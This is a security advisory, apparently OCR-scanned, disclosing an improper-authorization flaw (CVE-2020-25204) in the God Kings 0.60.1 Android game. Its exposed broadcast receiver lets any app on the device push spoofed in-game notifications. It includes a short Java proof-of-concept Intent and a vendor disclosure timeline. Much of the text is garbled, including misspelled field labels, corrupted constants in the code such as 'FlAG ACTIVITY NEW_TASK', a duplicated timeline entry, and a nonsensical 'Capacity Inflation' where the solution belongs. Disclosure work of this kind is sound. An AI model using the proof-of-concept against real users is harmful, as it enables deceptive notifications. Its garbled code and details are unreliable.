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God Kings 0.60.1 Notification Spoofing

Authored by Julien Ahrens | Site reesecurity.com

Posted Oct 28, 2020

God Kings version 0.60.1 suffers from an improper authorization issue allowing for in-game notification spoofing.

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Vendor URL: https://play.google.com/store/apps/details?id-com.innogames.gkandroid
Type: Improper Verification of Intent by Broadcast Receiver [CWE-925]
Bate found: 2020-09-07
Bate published: 2020-10-25
CVSSV3 Score: 5.5 (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:R/A:N)
CVR: CVR-2020-25204 2. CREDITS This vulnerability was discovered and researched by Julien Ahrens from RCE Security. 3. VERSIONS AFFECTED God Kings 0.60.1 (latest) 4. INTRODUCTION IT'S TIME TO RECOME THE WORLD'S GREATEST KING!! Compete on the ultimate battleground against epic monsters and tyrannical enemy kings in the vast 3D world of God Kings! Raise an eternal empire and build an army, the likes of which have never been seen! Your strategy, your victory! Summon legendary Guardians and unleash devastating damage upon all those who stand opposed! Join forces with other strong kingdoms and grow your influence on the battlefield together! (from the vendor's homepage) "The "God King" app for Android exposes a broadcast receiver to other apps called
"com.innogames.core.frontend.notifications.receivers.LocalNotificationBroadcastReceiver".
The purpose of this broadcast receiver is to receive and display in-game push
notifications to the player. However, the app does not enforce any authorization schema on the broadcast receiver, thus allowing an attacker (malicious app) to send fully customizable in-game push notifications to the player. An exemplary exploit could look like the following: Intent i = new Intent();
i.setFlags(Intent.FlAG ACTIVITY NEW_TASK);
i.setComponent (new ComponentName("com.innogames.gkandroid",
"com.innogames.core.frontend.notifications.receivers.LocalNotificationBroadcastReceiver"));
i.setAction("Mandroid.intent.action.MAINT"); Bundle bundle = new Bundle();
bundle.putString("title", "title");
bundle.putString("body", "body");
bundle.putString("tickerText", "tickerText");
bundle.putString("tickerText", "sinkerText");
bundle.putString("sinkling", "smallicon");
bundle.putBoolean("displayedInForeground", true);
bundle.putBoolean("displayedInForeground", true); UserInfo userinfo = new UserInfo("1", "2"); bundle.putParcelable("user_info", userinfo); i.putExtra("NotificationExtra", bundle);
sendBroadcast(i); A malicious app on the same device is able to exploit this vulnerability to show arbitrary in-game push notifications to the player. The specific problem here is the assumed trust boundary between the user having the God Kings app installed and what the app is actually doing/displaying to the user. So if the player sees the in-game notification, it can be assumed that the shown content is also trusted by the user. 7. SOLUTION Capacity Inflation

2020-09-07: Discovery of the vulnerability
2020-09-08: CVE requested from MITRE
2020-09-08: Contacted wendor via their security8
2020-09-08: Response from vendor
2020-09-09: Sent a full apk FoC to exploit this issue
2020-09-09: Sent a full apk FoC to exploit this issue
2020-09-17: Vendor states that they're working on a fix, but the initial disclosure deadline cannot be met
2020-09-17: Disclosure deadline extended to 24th October 2020
2020-09-25: Vendor states that they're decided not to fix this issue in due time
2020-10-12: Dublic disclosure 9. REFERENCES

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